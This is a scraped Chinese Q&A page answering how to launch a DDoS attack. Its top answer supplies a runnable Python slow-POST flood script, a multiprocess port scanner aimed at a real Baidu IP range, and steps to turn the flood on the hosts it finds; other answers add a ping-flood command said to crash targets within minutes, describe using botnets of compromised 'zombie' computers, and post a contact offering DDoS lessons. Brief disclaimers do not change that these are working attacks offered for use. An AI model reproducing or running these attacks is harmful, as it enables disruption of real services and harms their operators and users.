问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501
你好,欢迎来到懂视!登录注册
当前位置: 首页 - 正文

如何进行DDOS攻击怎么做

发布网友 发布时间:2022-04-24 18:18

我来回答

5个回答

热心网友 时间:2022-04-18 09:20

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:


import socket

import time

import threading

#Pressure Test,ddos tool


#---------------------------

MAX_CONN=20000

PORT=80

HOST=".com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------


buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

 

socks=[]

 

def conn_thread():

    global socks

    for i in range(0,MAX_CONN):

        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        try:

            s.connect((HOST,PORT))

            s.send(buf.encode())

            print ("Send buf OK!,conn=%d\n"%i)

            socks.append(s)

        except Exception as ex:

            print ("Could not connect to server or send error:%s"%ex)

            time.sleep(10)

#end def

 

def send_thread():

    global socks

    while True:

        for s in socks:

            try:

                s.send("f".encode())

                #print "send OK!"

            except Exception as ex:

                print ("Send Exception:%s\n"%ex)

                socks.remove(s)

                s.close()

        time.sleep(1)

#end def

 

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

 

conn_th.start()

send_th.start()


如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 .com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping .com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52


39.156.69.79 的 Ping 统计信息:

    数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

    最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:


#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴


#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t


def ports(ports_serve):

    #获取常用端口对应的服务名称

    for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

        try:

            ports_serve[port]=socket.getservbyport(port)

        except socket.error:

            pass


def ports_scan(host,ports_service):

    ports_open=[]

    try:

        sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        #超时时间的不同会影响扫描结果的精确度

        socket.timeout(0.01)

    except socket.error:

        print('socket creation error')

        sys.exit()

    for port in ports_service:

        try:

            #尝试连接指定端口

            sock.connect((host,port))

            #记录打开的端口

            ports_open.append(port)

            sock.close()

        except socket.error:

            pass

    return ports_open


if __name__ == '__main__':

    m=multiprocessing.Manager()

    ports_service=dict()

    results=dict()

    ports(ports_service)

    #创建进程池,允许最多8个进程同时运行

    pool = multiprocessing.Pool(processes=8)

    net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

    for host_number in map(str,range(8,10)):

        host = net + host_number

        #创建一个新进程,同时记录其运行结果

        results[host] = pool.apply_async(ports_scan,(host,ports_service))

        print('starting '+host+'...')

    #关闭进程池,close()必须在join()之前调用

    pool.close()

    #等待进程池中的进程全部执行结束

    pool.join()


    #打印输出结果

    for host in results:

        print('='*30)

        print(host,'.'*10)

        for port in results[host].get():

            print(port,':',ports_service[port])

            



你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击*IP和域名!!!

热心网友 时间:2022-04-18 10:38

原理就是数据包,两台计算机之间发包,网卡每秒多少包出去,你是学生要实现怎么做可以在内网做实验,不在*做,做个好公民哦

热心网友 时间:2022-04-18 12:13

747724131 DDoS流量攻击是最常见也是最直接的一种攻击方式,攻击者通过控制大量僵尸网络肉鸡,对游戏服务器发起攻击,导致服务器拥堵直至崩溃教学

热心网友 时间:2022-04-18 14:04

说到DDOS(拒绝服务攻击)就是让对方的网络瘫痪
原理``就是让多台机器一起给他发送数据包
从而把他的网络给唨塞了``就造成瘫痪
前提:我们一定有足够的肉鸡(别人的电脑`通过漏洞给他种下一个马)
我们有足够的肉鸡就可以把他一次打死``哈哈
真痛快``

热心网友 时间:2022-04-18 16:12

做人要厚道嘛,出来混,迟早是要还的
其实DDOS攻击要个软件的,你准备好了吗
如果没有,用ping也可以啊
先开N个命令提示符窗口,每个都输入:
ping 60.***.***.*** -t -l 65500
然后回车就行了
一般不到3分钟对方就死机了
声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。
E-MAIL:11247931@qq.com
貔貅请多少只 生活的滋味 写写你的生活实际 这个短文收到什么启发 阳光城并州府施工进度 狙击手幽灵战士契约2伪装所在地点位置分享介绍_狙击手幽灵战士契约2伪 ... 狙击手幽灵战士契约2弹药怎么搜集_狙击手幽灵战士契约2弹药怎么获得 《狙击手幽灵战士2》攻略图文详解(精准射击) 生产经营能力主要形式 每到节假日新华书店坐满了看书的人把坐满了看书的人写具体 三星4300提示墨粉用尽 DDOS是流量攻击吗? DDoS 攻击造成的影响和后果主要有哪些呀? 网站总被Doss攻击怎么办? 容易受到DDOS攻击的行业有哪些? ddos攻击判刑多久 DDOS攻击是什么,如何解决DDOS流量攻击 DDOS攻击的具体步骤? 什么是DDoS网络流量攻击 什么是 DDos 流量攻击 什么是 DDoS 攻击? 南京市哪里能买到防治白蚁药物? 南京市鼓楼区白蚁防治中心的电 话号码是多少 南京市雨花台区白蚁防治所怎么走? 南京哪家白蚁防治所做的较专业 南京市高淳区白蚁防治中心在哪?怎么走? 南京市溧水区白蚁防治所电话是多少?地址是? 南京市雨花台区白蚁防治所电话是多少?地址是? 南京白蚁防治中心号码? 哪个牌子的显示器色彩还原度好 谁来说下哪种显示器色彩还原好 如何防御DDOS流量攻击? 什么是 DDoS 攻击 冰箱长时间不用可以断电吗? 脸上长痘痘怎么办啊??? 总是长痘痘怎么办啊,急急急急 长了痘痘怎么办 一直长痘痘怎么办? 脸上长痘痘如何消除?? 下巴长痘痘怎么消除有何小秘方 脸上长痘痘如何消除,太烦人了? 贝佳斯绿泥和白泥可以一起用吗? 贝佳斯绿泥和白泥哪个效果更好 贝佳斯的绿泥和白泥哪个更好点? 贝佳斯绿泥和白泥可不可以混合使用如题 谢谢了 用完贝佳斯绿泥、白泥后怎样护肤 科颜氏的白泥和贝佳斯的绿泥哪个好 用完贝佳斯的绿泥后要用白泥吗 牙结石是什么,怎么去除 牙结石是什么呢,要怎么治疗? 牙结石是怎么形成的?
  • 焦点

最新推荐

猜你喜欢

热门推荐